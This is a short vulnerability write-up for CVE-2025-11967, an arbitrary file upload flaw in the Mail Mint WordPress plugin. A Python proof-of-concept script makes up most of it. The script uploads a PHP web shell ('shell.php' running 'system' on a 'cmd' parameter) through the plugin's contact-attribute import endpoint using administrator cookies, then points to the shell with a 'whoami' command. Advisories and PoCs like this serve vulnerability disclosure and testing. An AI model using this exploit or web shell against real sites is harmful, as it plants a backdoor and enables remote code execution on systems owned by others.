CVE-2025-11967

Description

The Mail Mint plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the process_contact_attribute_import function in all versions up to, and including, 1.18.10. This makes it possible for authenticated attackers, with Administrator-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.

python

# CVE-2025-11967 Mail Mint Arbitrary File Upload PoC
# Requirements: Administrator access to WordPress

import requests
import json

target_url = "http://target-wordpress-site.com"
wp_admin_path = f"{target_url}/wp-admin"

# Authentication cookies (Administrator session)
cookies = {
    "wordpress_test_cookie": "WP Cookie check",
    "wordpress_logged_in_xxx": "your-admin-token"
}

# Malicious PHP file content for RCE
php_payload = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>"

# File upload endpoint (Contact Import functionality)
upload_url = f"{target_url}/wp-json/mail-mint/v1/import/contact-attribute"

files = {
    'file': ('shell.php', php_payload, 'application/x-php')
}

data = {
    'action': 'process_contact_attribute_import',
    'nonce': 'your-import-nonce-value'
}

print("[*] Attempting to upload malicious file...")
response = requests.post(upload_url, files=files, data=data, cookies=cookies)

if response.status_code == 200:
    result = response.json()
    if result.get('success'):
        uploaded_file = result.get('file_path')
        print(f"[+] File uploaded successfully: {uploaded_file}")
        print(f"[+] Access shell at: {uploaded_file}?cmd=whoami")
    else:
        print(f"[-] Upload failed: {result.get('message')}")
else:
    print(f"[-] Request failed with status: {response.status_code}")

# Note: Actual exploitation requires valid WordPress admin session and proper nonce validation
